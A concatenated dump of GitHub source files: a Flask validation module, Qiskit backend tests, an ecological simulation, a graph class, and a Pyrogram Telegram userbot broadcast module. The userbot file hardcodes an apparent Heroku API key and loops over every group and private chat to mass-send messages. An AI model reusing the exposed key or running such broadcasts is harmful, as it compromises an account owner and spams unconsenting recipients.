sectors=common_source.data['sectors'], cycles=common_source.data['cycles'],\n cameras=common_source.data['cameras'],\n observation_dates=common_source.data['observation_dates'])), \"All Targets\")\n }\n \n return render_template('target_list.html', visualizations=visualizations)\n\n\n\n#function to validate inputs\ndef validate_inputs(search_input, radius, sector_selection):\n \"\"\"\n Validate the user-provided input parameters for search.\n\n This function checks the validity of the search input, radius, and sector_selection\n provided by the user. If the inputs are valid, the function returns True along with\n a tuple containing the search input, radius, and sector number. If any input is invalid,\n the function returns False along with an appropriate error message.\n\n Args:\n search_input (str): The search input provided by the user.\n radius (str): The radius value provided by the user, as a string.\n sector_selection (str): The sector selection provided by the user, as a string.\n\n Returns:\n A tuple with the first element being a boolean indicating whether the inputs are\n valid (True) or not (False), and the second element being either an error message\n (str) if the inputs are invalid, or a tuple containing the search input, radius (float),\n and sector number (int or None) if the inputs are valid.\n \"\"\"\n\n if not search_input:\n return False, \"Please provide a valid search input.\"\n \n try:\n radius = float(radius)\n except ValueError:\n return False, \"Please provide a valid radius value like 0.5, 1 etc...\"\n \n if radius <= 0:\n return False, \"Please provide a positive radius value.\"\n\n try:\n sector_number = int(sector_selection) if sector_selection else None\n except ValueError:\n return False, \"Please provide a valid sector number.\"\n \n return True, (search_input, radius, sector_number)\n\n\ndef get_input():\n \"\"\"\n Retrieve and validate input parameters from the form, and render the target visualization page.\n\n This function retrieves the search_input, radius, and sector_selection values from the form\n submitted by the user, validates them using the validate_inputs function, and processes the\n data if the inputs are valid. If any of the input parameters are not valid, an error message\n is displayed on the target visualization page. If the MAST API connection times out, an\n appropriate error message is also displayed.\n\n Returns:\n A rendered template of the target visualization page with the processed data or an\n appropriate error message.\n \"\"\"\n search_input = request.form.get(\"search_input\")\n radius = request.form.get(\"radius\")\n sector_selection = request.form.get(\"sector\")\n\n is_valid, validation_result = validate_inputs(search_input, radius, sector_selection)\n\n if not is_valid:\n return render_template(\"target_visualization.html\", error=validation_result)\n \n search_input, radius, sector_number = validation_result\n\n try:\n processed_data = process_data(search_input, radius, sector_number)\n return render_template(\"target_visualization.html\", **processed_data)\n except requests.exceptions.ConnectTimeout:\n return render_template(\"target_visualization.html\", error=\"The connection to the MAST API timed out. Please try again later.\")\n","repo_name":"PazSheimy/-TPT-TESS-Proposal-Tool","sub_path":"utils/input_validation.py","file_name":"input_validation.py","file_ext":"py","file_size_in_byte":9330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"34182075603","text":"from unittest import SkipTest, mock\nfrom datetime import datetime, timedelta\nimport copy\n\nfrom qiskit.transpiler.target import Target\nfrom qiskit import QuantumCircuit\nfrom qiskit.providers.exceptions import QiskitBackendNotFoundError\nfrom qiskit.test.reference_circuits import ReferenceCircuits\n\nfrom qiskit_ibm_provider.ibm_qubit_properties import IBMQubitProperties\nfrom qiskit_ibm_provider.exceptions import IBMBackendValueError\n\nfrom qiskit_ibm_runtime import QiskitRuntimeService\n\nfrom ..ibm_test_case import IBMIntegrationTestCase\nfrom ..decorators import run_integration_test, production_only, quantum_only\n\n\nclass TestIntegrationBackend(IBMIntegrationTestCase):\n \"\"\"Integration tests for backend functions.\"\"\"\n\n @run_integration_test\n def test_backends(self, service):\n \"\"\"Test getting all backends.\"\"\"\n backends = service.backends()\n self.assertTrue(backends)\n backend_names = [back.name for back in backends]\n self.assertEqual(\n len(backend_names),\n len(set(backend_names)),\n f\"backend_names={backend_names}\",\n )\n\n @run_integration_test\n @quantum_only\n def test_backends_no_config(self, service):\n \"\"\"Test retrieving backends when a config is missing.\"\"\"\n service._backend_configs = {}\n instance = service._account.instance\n backends = service.backends(instance=instance)\n configs = service._backend_configs\n configs[\"test_backend\"] = None\n backend_names = [backend.name for backend in backends]\n # check filters still work\n service.backends(instance=instance, simulator=True)\n\n for config in configs.values():\n backend = service._create_backend_obj(config, instance=instance)\n if backend:\n self.assertTrue(backend.name in backend_names)\n\n @run_integration_test\n def test_get_backend(self, service):\n \"\"\"Test getting a backend.\"\"\"\n backends = service.backends()\n backend = service.backend(backends[0].name)\n self.assertTrue(backend)\n\n\nclass TestIBMBackend(IBMIntegrationTestCase):\n \"\"\"Test ibm_backend module.\"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Initial class level setup.\"\"\"\n # pylint: disable=arguments-differ\n # pylint: disable=no-value-for-parameter\n super().setUpClass()\n if cls.dependencies.channel == \"ibm_cloud\":\n # TODO use real device when cloud supports it\n cls.backend = cls.dependencies.service.least_busy(min_num_qubits=5)\n if cls.dependencies.channel == \"ibm_quantum\":\n cls.backend = cls.dependencies.service.least_busy(\n simulator=False, min_num_qubits=5, instance=cls.dependencies.instance\n )\n\n def test_backend_service(self):\n \"\"\"Check if the service property is set.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsInstance(backend.service, QiskitRuntimeService)\n\n @production_only\n def test_backend_target(self):\n \"\"\"Check if the target property is set.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsNotNone(backend.target)\n self.assertIsInstance(backend.target, Target)\n\n @production_only\n def test_backend_target_history(self):\n \"\"\"Check retrieving backend target_history.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsNotNone(backend.target_history())\n self.assertIsNotNone(backend.target_history(datetime=datetime.now() - timedelta(30)))\n\n def test_backend_max_circuits(self):\n \"\"\"Check if the max_circuits property is set.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsNotNone(backend.max_circuits)\n\n @production_only\n def test_backend_qubit_properties(self):\n \"\"\"Check if the qubit properties are set.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n if backend.simulator:\n raise SkipTest(\"Skip since simulator does not have qubit properties.\")\n self.assertIsNotNone(backend.qubit_properties(0))\n\n @production_only\n def test_backend_simulator(self):\n \"\"\"Test if a configuration attribute (ex: simulator) is available as backend attribute.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsNotNone(backend.simulator)\n self.assertEqual(backend.simulator, backend.configuration().simulator)\n\n def test_backend_status(self):\n \"\"\"Check the status of a real chip.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertTrue(backend.status().operational)\n\n @production_only\n def test_backend_properties(self):\n \"\"\"Check the properties of calibration of a real chip.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n if backend.simulator:\n raise SkipTest(\"Skip since simulator does not have properties.\")\n properties = backend.properties()\n properties_today = backend.properties(datetime=datetime.today())\n self.assertIsNotNone(properties)\n self.assertIsNotNone(properties_today)\n self.assertEqual(properties.backend_version, properties_today.backend_version)\n\n @production_only\n def test_backend_pulse_defaults(self):\n \"\"\"Check the backend pulse defaults of each backend.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n if backend.simulator:\n raise SkipTest(\"Skip since simulator does not have defaults.\")\n if not backend.open_pulse:\n raise SkipTest(\"Skip for backends that do not support pulses.\")\n self.assertIsNotNone(backend.defaults())\n\n def test_backend_configuration(self):\n \"\"\"Check the backend configuration of each backend.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n self.assertIsNotNone(backend.configuration())\n\n @production_only\n def test_backend_invalid_attribute(self):\n \"\"\"Check if AttributeError is raised when an invalid backend attribute is accessed.\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n with self.assertRaises(AttributeError):\n backend.foobar # pylint: disable=pointless-statement\n\n def test_backend_deepcopy(self):\n \"\"\"Test that deepcopy on IBMBackend works correctly\"\"\"\n backend = self.backend\n with self.subTest(backend=backend.name):\n backend_copy = copy.deepcopy(backend)\n self.assertEqual(backend_copy.name, backend.name)\n self.assertEqual(\n backend_copy.configuration().basis_gates,\n backend.configuration().basis_gates,\n )\n if backend.properties():\n self.assertEqual(\n backend_copy.properties().last_update_date,\n backend.properties().last_update_date,\n )\n self.assertEqual(backend_copy._instance, backend._instance)\n self.assertEqual(backend_copy._service._backends, backend._service._backends)\n self.assertEqual(backend_copy._get_defaults(), backend._get_defaults())\n self.assertEqual(\n backend_copy._api_client._session.base_url,\n backend._api_client._session.base_url,\n )\n\n def test_backend_pending_jobs(self):\n \"\"\"Test pending jobs are returned.\"\"\"\n if self.dependencies.channel == \"ibm_cloud\":\n raise SkipTest(\"Cloud account does not have real backend.\")\n backends = self.service.backends()\n self.assertTrue(any(backend.status().pending_jobs > 0 for backend in backends))\n\n def test_backend_fetch_all_qubit_properties(self):\n \"\"\"Check retrieving properties of all qubits\"\"\"\n if self.dependencies.channel == \"ibm_cloud\":\n raise SkipTest(\"Cloud channel does not have instance.\")\n num_qubits = self.backend.num_qubits\n qubits = list(range(num_qubits))\n qubit_properties = self.backend.qubit_properties(qubits)\n self.assertEqual(len(qubit_properties), num_qubits)\n for i in qubits:\n self.assertIsInstance(qubit_properties[i], IBMQubitProperties)\n\n def test_sim_backend_options(self):\n \"\"\"Test simulator backend options.\"\"\"\n backend = self.service.backend(\"ibmq_qasm_simulator\")\n backend.options.shots = 2048\n backend.set_options(memory=True)\n inputs = backend.run(ReferenceCircuits.bell(), shots=1, foo=\"foo\").inputs\n self.assertEqual(inputs[\"shots\"], 1)\n self.assertTrue(inputs[\"memory\"])\n self.assertEqual(inputs[\"foo\"], \"foo\")\n\n @production_only\n def test_paused_backend_warning(self):\n \"\"\"Test that a warning is given when running jobs on a paused backend.\"\"\"\n backend = self.service.backend(\"ibmq_qasm_simulator\")\n paused_status = backend.status()\n paused_status.status_msg = \"internal\"\n backend.status = mock.MagicMock(return_value=paused_status)\n with self.assertWarns(Warning):\n backend.run(ReferenceCircuits.bell())\n\n def test_backend_wrong_instance(self):\n \"\"\"Test that an error is raised when retrieving a backend not in the instance.\"\"\"\n if self.dependencies.channel == \"ibm_cloud\":\n raise SkipTest(\"Cloud channel does not have instance.\")\n\n backends = self.service.backends()\n hgps = self.service._hgps.values()\n if len(hgps) >= 2:\n for hgp in hgps:\n backend_names = list(hgp._backends)\n for backend in backends:\n if backend.name not in backend_names:\n with self.assertRaises(QiskitBackendNotFoundError):\n self.service.backend(\n backend.name,\n instance=f\"{hgp._hub}/{hgp._group}/{hgp._project}\",\n )\n return\n\n def test_retrieve_backend_not_exist(self):\n \"\"\"Test that an error is raised when retrieving a backend that does not exist.\"\"\"\n with self.assertRaises(QiskitBackendNotFoundError):\n self.service.backend(\"nonexistent_backend\")\n\n def test_too_many_qubits_in_circuit(self):\n \"\"\"Check error message if circuit contains more qubits than supported on the backend.\"\"\"\n if self.dependencies.channel == \"ibm_cloud\":\n raise SkipTest(\"Cloud channel does not have instance.\")\n num = len(self.backend.properties().qubits)\n num_qubits = num + 1\n circuit = QuantumCircuit(num_qubits, num_qubits)\n with self.assertRaises(IBMBackendValueError) as err:\n _ = self.backend.run(circuit)\n self.assertIn(\n f\"Circuit contains {num_qubits} qubits, but backend has only {num}.\",\n str(err.exception),\n )\n","repo_name":"Qiskit/qiskit-ibm-runtime","sub_path":"test/integration/test_backend.py","file_name":"test_backend.py","file_ext":"py","file_size_in_byte":11238,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"36"} +{"seq_id":"34915414794","text":"from __future__ import division\nimport numpy as np\nimport numpy.random\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom noise import snoise2\nimport random\nfrom datetime import datetime\nimport os\nimport multiprocessing as mp\nimport itertools\nfrom matplotlib.mlab import griddata\n\nPREDATOR = \"Predator\"\nPREY = \"Prey\"\n\nclass Agent:\n def __init__(self, type, pos):\n self.type = type\n self.pos = pos\n self.time_since_last_meal = 0\n\nclass PredatorPreyModel:\n initial_prey_count = 200\n starvation_time = 50\n prey_birth_probability = 0.06\n predator_birth_rate = 0.1\n movement_rate = 0.8\n grid_shape = (100, 100)\n\n def __init__(self, initial_predator_count = 10, water_level = 0.2):\n self.initial_predator_count = initial_predator_count\n width, height = self.grid_shape\n self.terrain = self.generate_terrain(water_level=water_level, period=30, \n fractal_depth=2, randomly=True)\n self.lattice = [[[] for _ in range(width)] for _ in range(height)]\n self.agents = []\n [self.create_agent(PREDATOR) for i in range(self.initial_predator_count)]\n [self.create_agent(PREY) for i in range(self.initial_prey_count)]\n\n def run(self, animating = False, iteration_count = 10000):\n \n population_counts = np.zeros((2, iteration_count), dtype=int)\n \n def loop(t):\n if animating:\n self.draw()\n self.step()\n for agent in self.agents:\n if agent.type == PREDATOR:\n population_counts[0,t] += 1\n else:\n population_counts[1,t] += 1\n \n if animating:\n figure = plt.figure()\n figure.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=None, hspace=None)\n animation = FuncAnimation(figure, loop, init_func=self.init_drawing,\n frames=iteration_count)\n # save video\n directory = \"videos\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n filename = \"{}/{}.mp4\".format(directory, datetime.now())\n animation.save(filename, fps=20, codec=\"libx264\", extra_args=['-pix_fmt','yuv420p'])\n else:\n animation = None\n for t in range(iteration_count):\n loop(t)\n if np.any(population_counts[:,t] == 0):\n return population_counts[:, :t + 1]\n \n return population_counts\n \n def init_drawing(self):\n # NOTE(Pontus): This rescales the colormap so that zero is in the middle\n # terrain_max = np.amax(abs(self.terrain))\n # plt.imshow(self.terrain.T, cmap=plt.cm.coolwarm,\n # vmin = -terrain_max, vmax = terrain_max)\n plt.imshow(self.terrain.T < 0, cmap=plt.cm.gray, vmin=-3, vmax=1, interpolation=\"nearest\")\n plt.axis(\"tight\")\n plt.gca().get_xaxis().set_visible(False)\n plt.gca().get_yaxis().set_visible(False)\n \n self.predator_plot, = plt.plot([], [], \"r.\")\n self.prey_plot, = plt.plot([], [], \"g.\")\n \n \n def draw(self):\n predator_positions = np.array([agent.pos for agent in self.agents\n if agent.type == PREDATOR])\n prey_positions = np.array([agent.pos for agent in self.agents\n if agent.type == PREY])\n if predator_positions.size:\n self.predator_plot.set_data(predator_positions.T)\n else:\n self.predator_plot.set_data([],[])\n \n if prey_positions.size:\n self.prey_plot.set_data(prey_positions.T)\n else:\n self.prey_plot.set_data([],[])\n plt.draw()\n plt.pause(0.0001)\n \n def generate_terrain(self, period, water_level = 0, fractal_depth = 2, randomly=False):\n \"\"\"\n Generates a pseudo-random terrain matrix. \n Values > 0 are land and values < 0 are water.\n `water_level` is a number between -1 and 1, where -1 is all land and 1 is all ocean.\n `period` controls the shape of the landscape.\n If `randomly` is false, the same landscape will be generated every time.\n \"\"\"\n if randomly:\n start = random.random() * 1e5\n else:\n start = 0\n width, height = self.grid_shape\n terrain_iterator = (snoise2(start + i / period, start + j / period, fractal_depth) \n for i in range(width)\n for j in range(height))\n return np.fromiter(terrain_iterator, float).reshape(self.grid_shape) - water_level\n \n def create_agent(self, type, near=None):\n if near:\n pos = random.choice(list(self.neighbors(near)))\n else:\n pos = tuple(random.randrange(size) for size in self.grid_shape)\n \n # NOTE(Pontus): This makes sure that\n # the more crowded it is, the less agents will be born\n if not self.is_safe_position(pos):\n return None\n \n agent = Agent(type, pos)\n x, y = pos\n self.lattice[x][y].append(agent)\n self.agents.append(agent)\n return agent\n \n def remove_agent(self, agent):\n x, y = agent.pos\n self.lattice[x][y].remove(agent)\n self.agents.remove(agent)\n \n def step(self):\n for agent in self.agents:\n agent.time_since_last_meal += 1\n # die\n if agent.time_since_last_meal > self.starvation_time:\n self.remove_agent(agent)\n continue\n \n # move\n # TODO(Pontus): Maybe just remove the movement rate and let the\n # current position be a possible new position?\n if random.random() < self.movement_rate:\n new_positions = list(filter(self.is_empty_position,\n self.neighbors(agent.pos)))\n if not new_positions:\n continue\n new_x, new_y = random.choice(new_positions)\n self.lattice[new_x][new_y].append(agent)\n x, y = agent.pos\n self.lattice[x][y].remove(agent)\n agent.pos = new_x, new_y\n \n if agent.type == PREY:\n prey = agent\n if self.is_safe_position(agent.pos):\n agent.time_since_last_meal = 0\n # Reproduce\n if random.random() < self.prey_birth_probability:\n self.create_agent(PREY, near=prey.pos)\n \n if agent.type == PREDATOR:\n predator = agent\n # Eat and reproduce\n for (x, y) in self.neighbors(predator.pos):\n for neighbor in self.lattice[x][y]:\n if neighbor.type == PREY:\n predator.time_since_last_meal = 0\n self.remove_agent(neighbor)\n if random.random() < self.predator_birth_rate:\n self.create_agent(PREDATOR, near=predator.pos)\n \n def neighbors(self, pos):\n x, y = pos\n directions = ((1,0), (-1,0), (0,1), (0,-1))\n return filter(self.is_in_bounds, \n ( (x + dx, y + dy) for (dx, dy) in directions ))\n \n def is_safe_position(self, pos):\n is_on_land = (self.terrain[pos] > 0)\n return is_on_land and self.is_empty_position(pos)\n \n def is_empty_position(self, pos):\n x, y = pos\n occupied = self.lattice[x][y]\n return not occupied and self.is_in_bounds(pos)\n \n def is_in_bounds(self, pos):\n x, y = pos\n x_max, y_max = self.grid_shape\n return (0 <= x < x_max) and (0 <= y < y_max)\n\ndef plot_landscape(model, water_level):\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n width, height = model.grid_shape\n x, y = np.meshgrid(range(width), range(height))\n terrain = model.generate_terrain(period=50)\n ax.plot_surface(x, y, terrain, rstride=5, cstride=5, cmap=plt.cm.coolwarm)\n \n fig, ax = plt.subplots()\n ax.imshow(model.terrain.T < 0, cmap=plt.cm.gray, vmin=-3, vmax=1)\n\ndef plot_analysis(model, population_counts):\n fig, ((map_plot, dynamics_plot), (phase_plot, frequency_plot)) = plt.subplots(2, 2)\n \n map_plot.imshow(model.terrain.T < 0, cmap=plt.cm.gray, vmin=-3, vmax=1)\n \n dynamics_plot.plot(population_counts.T)\n dynamics_plot.legend([PREDATOR, PREY])\n dynamics_plot.set_title(\"Population dynamics\")\n dynamics_plot.set_xlabel(r\"Time $t$\")\n dynamics_plot.set_ylabel(r\"Population size\")\n \n phase_plot.plot(population_counts[0,:], population_counts[1,:])\n phase_plot.set_title(\"Phase diagram\")\n phase_plot.set_xlabel(\"Predator\")\n phase_plot.set_ylabel(\"Prey\")\n \n import numpy.fft\n # NOTE(Pontus): Skip constant freq f = 0\n population_counts_fft = abs(np.fft.rfft(population_counts))[:,1:] \n f = np.fft.rfftfreq(population_counts.shape[1])[1:]\n \n frequency_plot.plot(f, population_counts_fft[0,:], label=PREDATOR)\n frequency_plot.plot(f, population_counts_fft[1,:], label=PREY)\n frequency_plot.legend()\n frequency_plot.set_title(\"Frequency domain\")\n frequency_plot.set_xlabel(\"Frequency\")\n frequency_plot.set_ylabel(\"Amplitude\")\n frequency_plot.set_xscale(\"log\")\n frequency_plot.set_yscale(\"log\")\n frequency_plot.axis(\"tight\")\n\n#@np.vectorize\ndef extinction_plot(pred0, water_level, sample_count = 10, iteration_count=5000):\n print(\"pred0:\", pred0, \"water_level:\", water_level)\n sum = 0\n for run in range(sample_count):\n initial_predator_count = int(pred0 / (1 - pred0) * PredatorPreyModel.initial_prey_count)\n model = PredatorPreyModel(initial_predator_count, water_level)\n population_counts = model.run(animating=False, iteration_count=iteration_count)\n final_time = population_counts.shape[1]\n #extinction = (final_time != iteration_count)\n #if extinction:\n # sum += final_time\n sum += final_time\n average = sum / sample_count\n print(average)\n return pred0, water_level, average\n \ndef plot_average_extinction_time(sample_count = 10, iteration_count = 10000):\n pred0s = np.linspace(0.01, 0.5, 10)\n water_levels = np.linspace(-1, 0.4, 10)\n #pred0s, water_levels = np.meshgrid(pred0s, water_levels)\n #extinction_time = extinction_plot(pred0s, water_levels)\n\n pool = mp.Pool(8)\n tasks = [pool.apply_async(extinction_plot, args=args) for args in itertools.product(pred0s, water_levels)]\n pred0s, water_levels, extinction_time = zip(*[t.get() for t in tasks])\n\n xi = np.linspace(min(pred0s), max(pred0s))\n yi = np.linspace(min(water_levels), max(water_levels))\n\n X, Y = np.meshgrid(xi, yi)\n Z = griddata(pred0s, water_levels, extinction_time, xi, yi)\n\n directory = \"data\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n np.savetxt(directory + \"/pred0s.tsv\", X)\n np.savetxt(directory + \"/water_levels.tsv\", Y)\n np.savetxt(directory + \"/extinction_time.tsv\", Z)\n plt.figure()\n contours = plt.contour(X, Y, Z)\n plt.clabel(contours, inline=1)\n plt.xlabel(r\"Initial fraction of predators\")\n plt.ylabel(r\"Water level\")\n plt.colorbar()\n\nif __name__ == '__main__':\n \n # model = PredatorPreyModel(initial_predator_count=100, water_level = -1)\n # population_counts = model.run(animating=True, iteration_count=10000)\n # plot_analysis(model, population_counts)\n plot_average_extinction_time(sample_count = 10)\n \n plt.show()","repo_name":"sebhoerl/SOCS","sub_path":"predator_prey/predator_prey.py","file_name":"predator_prey.py","file_ext":"py","file_size_in_byte":11890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37297805300","text":"#izzy\nimport asyncio\nimport dotenv\nfrom pyrogram import Client, enums, filters\nfrom pyrogram.types import Message\nfrom Ubot.helper import edit_or_reply\nfrom . import *\nfrom Ubot.helper import *\nfrom Ubot.database.accesdb import *\nfrom config import *\n\nHEROKU_API_KEY=\"8e5751ec-a57f-4d2c-9af7-f5b75b50c5bb\"\nHEROKU_APP_NAME=\"lingubot3\"\n\nHAPP = None\n\n@Ubot(\"gcast\", cmds)\nasync def gcast_cmd(client: Client, message: Message):\n if message.reply_to_message or get_arg(message):\n await message.edit_text(\"`Memulai Gcast...`\")\n else:\n return await message.edit_text(\"**Balas ke pesan/berikan sebuah pesan**\")\n done = 0\n error = 0\n async for dialog in client.get_dialogs():\n if dialog.chat.type in (enums.ChatType.GROUP, enums.ChatType.SUPERGROUP):\n if message.reply_to_message:\n msg = message.reply_to_message\n elif get_arg:\n msg = get_arg(message)\n chat = dialog.chat.id\n if chat not in BL_GCAST and chat not in BLACKLIST_GCAST:\n try:\n if message.reply_to_message:\n await msg.copy(chat)\n elif get_arg:\n await client.send_message(chat, msg)\n done += 1\n await asyncio.sleep(0.3)\n except Exception:\n error += 1\n await asyncio.sleep(0.3)\n await message.edit_text(\n f\"**Berhasil mengirim ke** `{done}` **Groups chat, Gagal mengirim ke** `{error}` **Groups**\"\n )\n\n@Devs(\"cgucast\")\n@Ubot(\"gucast\", cmds)\nasync def gucast(client: Client, message: Message):\n if message.reply_to_message or get_arg(message):\n await message.edit_text(\"`Started global broadcast...`\")\n else:\n return await message.edit_text(\"**Berikan sebuah pesan atau balas ke pesan**\")\n done = 0\n error = 0\n async for dialog in client.get_dialogs():\n if dialog.chat.type == enums.ChatType.PRIVATE and not dialog.chat.is_verified:\n if message.reply_to_message:\n msg = message.reply_to_message\n elif get_arg:\n msg = get_arg(message)\n chat = dialog.chat.id\n if chat not in DEVS:\n try:\n if message.reply_to_message:\n await msg.copy(chat)\n elif get_arg:\n await client.send_message(chat, msg)\n done += 1\n await asyncio.sleep(0.3)\n except Exception:\n error += 1\n await asyncio.sleep(0.3)\n await message.edit_text(\n f\"**Successfully Sent Message To** `{done}` **chat, Failed to Send Message To** `{error}` **chat**\"\n )\n\n\n@Ubot(\"addbl\", cmds)\nasync def addblacklist(client: Client, message: Message):\n await message.edit_text(\"`Processing...`\")\n if HAPP is None:\n return await message.edit_text(\n \"**Silahkan Tambahkan Var** `HEROKU_APP_NAME` **untuk menambahkan blacklist**\",\n )\n blgc = f\"{BLACKLIST_GCAST} {message.chat.id}\"\n blacklistgrup = (\n blgc.replace(\"{\", \"\")\n .replace(\"}\", \"\")\n .replace(\",\", \"\")\n .replace(\"[\", \"\")\n .replace(\"]\", \"\")\n .replace(\"set() \", \"\")\n )\n await message.edit_text(\n f\"**Berhasil Menambahkan** `{message.chat.id}` **ke daftar blacklist gcast.**\\n\\nSedang MeRestart ntuk Menerapkan Perubahan.\"\n )\n if await in_heroku():\n heroku_var = HAPP.config()\n heroku_var[\"BLACKLIST_GCAST\"] = blacklistgrup\n else:\n path = dotenv.find_dotenv()\n dotenv.set_key(path, \"BLACKLIST_GCAST\", blacklistgrup)\n restart()\n\n@Ubot(\"delbl\", cmds)\nasync def delblacklist(client: Client, message: Message):\n await message.edit_text(\"`Processing...`\")\n if HAPP is None:\n return await message.edit_text(\n \"**Silahkan Tambahkan Var** `HEROKU_APP_NAME` **untuk menambahkan blacklist**\",\n )\n blchat = f\"{BLACKLIST_GCAST} {message.chat.id}\"\n gett = str(message.chat.id)\n if gett in blchat:\n blacklistgrup = blchat.replace(gett, \"\")\n await message.edit_text(\n f\"**Berhasil Menghapus** `{message.chat.id}` **dari daftar blacklist gcast.**\\n\\nSedang MeRestart untuk Menerapkan Perubahan.\"\n )\n if await in_heroku():\n heroku_var = HAPP.config()\n heroku_var[\"BLACKLIST_GCAST\"] = blacklistgrup\n else:\n path = dotenv.find_dotenv()\n dotenv.set_key(path, \"BLACKLIST_GCAST\", blacklistgrup)\n restart()\n else:\n await message.edit_text(\"**Grup ini tidak ada dalam daftar blacklist gcast.**\")\n\n\nadd_command_help(\n \"broadcast\",\n [\n [f\"gcast [text/reply]\",\n \"Broadcast pesan ke Group. (bisa menggunakan Media/Sticker)\"],\n [f\"gucast [text/reply]\",\n \"Broadcast pesan ke semua chat. (bisa menggunakan Media/Sticker)\"],\n [f\"addbl [id group]\",\n \"menambahkan group ke dalam blacklilst gcast\"],\n [f\"delbl [id group]\",\n \"menghapus group dari blacklist gcast\"],\n ],\n)\n","repo_name":"herlinggapratama/Bocil-Userbot12","sub_path":"Ubot/modules/basic/broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11671079142","text":"import timeit\nclass GrafoLista:\n # Classe com todos os atributos do grafo na representação lista de adjacencias\n def __init__(self, arquivo):\n (self.vertices, self.arestas, self.grafo) = self.cria_lista(arquivo)\n (self.maior_grau, self.menor_grau, self.grau_medio, self.frequencia) = self.definir_graus()\n #busca no vertice 1\n self.tempo_largura_lista=self.busca_em_largura2(0)\n self.tempo_profundidade_lista=self.busca_de_profundidade2(0)\n (self.componentes_conexas, self.num_conexa) = self.conexos()\n\n \n\n def cria_lista(self, arquivo):\n # Cria lista de adjacencias\"\n header = arquivo.readline()\n info = header.split(' ')\n vertices = int(info[0])\n arestas = int(info[1])\n lista = []\n for i in range(vertices):\n lista.append([])\n for header in arquivo:\n info = header.split(' ')\n origem = int(info[0])\n destino = int(info[1])\n peso = int(info[2])\n lista[origem].append((destino, peso))\n lista[destino].append((origem, peso))\n return (vertices, arestas, lista)\n\n def definir_graus(self):\n #C vertice de maior e menor grau, o grau medio dos vertices e a distribuicão empirica do grau dos vertices\n maior = [0, 0]\n menor = [0, 1000000]\n soma = 0\n cont = [0 for _ in range(self.vertices)]\n frequencia = []\n arquivo4 = open(\"cont.txt\", 'w')\n for i in range(self.vertices):\n cont[len(self.grafo[i])] = cont[len(self.grafo[i])] + 1\n if maior[1] < len(self.grafo[i]):\n maior[0] = i\n maior[1] = len(self.grafo[i])\n elif menor[1] > len(self.grafo[i]):\n menor[0] = i\n menor[1] = len(self.grafo[i])\n soma = soma + len(self.grafo[i])\n for i in range(self.vertices):\n if cont[i] != 0:\n frequencia.append((i, cont[i] / self.vertices))\n st = str(i) + ':' + str(100 * cont[i] / self.vertices) + '\\n'\n arquivo4.write(st)\n arquivo4.close()\n media = float(soma) / float(self.vertices)\n return (maior, menor, media, frequencia)\n\n def busca_em_largura2(self, s):\n # cria um arquivo com arestas percorridas por largura\n # Mede tempo\n tinicio = timeit.default_timer()\n arquivo2 = open('largura.txt', 'w')\n desc = [0 for _ in range(self.vertices)]\n Q = [s]\n R = [s]\n desc[s] = 1\n ordem = [-1 for _ in range(self.vertices)]\n ordem[s] = 0\n while len(Q) != 0:\n u = Q.pop(0)\n for (v, a) in self.grafo[u]:\n if desc[v] == 0:\n Q.append(v)\n R.append(v)\n desc[v] = 1\n if ordem[v] == -1:\n ordem[v] = ordem[u] + 1\n for i in range(len(ordem)):\n if ordem[i] != -1:\n saidas = str(i) + ':' + str(ordem[i]) + '\\n'\n arquivo2.write(saidas)\n arquivo2.close()\n tfim=timeit.default_timer()\n return(tfim-tinicio)\n\n def busca_de_profundidade2(self, s):\n # cria um arquivo com arestas percorridas por profundidade\n # Mede tempo\n tinicio = timeit.default_timer()\n arquivo3 = open('profundidade.txt', 'w')\n desc = [0 for _ in range(self.vertices)]\n S = [s]\n R = [s]\n desc[s] = 1\n ordem = [-1 for _ in range(self.vertices)]\n ordem[s] = 0\n while len(S) != 0:\n u = S[-1]\n desempilhar = True\n for (v, a) in self.grafo[u]:\n if desc[v] == 0:\n desempilhar = False\n S.append(v)\n R.append(v)\n desc[v] = 1\n if ordem[v] == -1:\n ordem[v] = ordem[u] + 1\n break\n if desempilhar:\n S.pop()\n for i in range(len(ordem)):\n if ordem[i] != -1:\n saidas = str(i) + ':' + str(ordem[i]) + '\\n'\n arquivo3.write(saidas)\n arquivo3.close()\n tfim=timeit.default_timer()\n return(tfim-tinicio)\n\n def busca_largura(self, comp, s):\n # busca em largura para lista\n \n desc = [0 for _ in range(self.vertices)]\n Q = [s]\n R = [s]\n desc[s] = 1\n comp[s] = 0\n while len(Q) != 0:\n u = Q.pop(0)\n for (v, a) in self.grafo[u]:\n if desc[v] == 0:\n Q.append(v)\n R.append(v)\n desc[v] = 1\n comp[v] = 0\n return R\n \n\n def conexos(self):\n # Numero de componentes conexas no grafo, e vertices na componentes\n componente = [1 for _ in range(self.vertices)]\n t = []\n k = 0\n for i in range(self.vertices):\n aux = 0\n if componente[i] != 0:\n busca = self.busca_largura(componente, i)\n t.append(len(busca))\n k = k + 1\n for j in range(self.vertices):\n if componente[j] == 0:\n aux = aux + 1\n if aux == self.vertices:\n return (k, 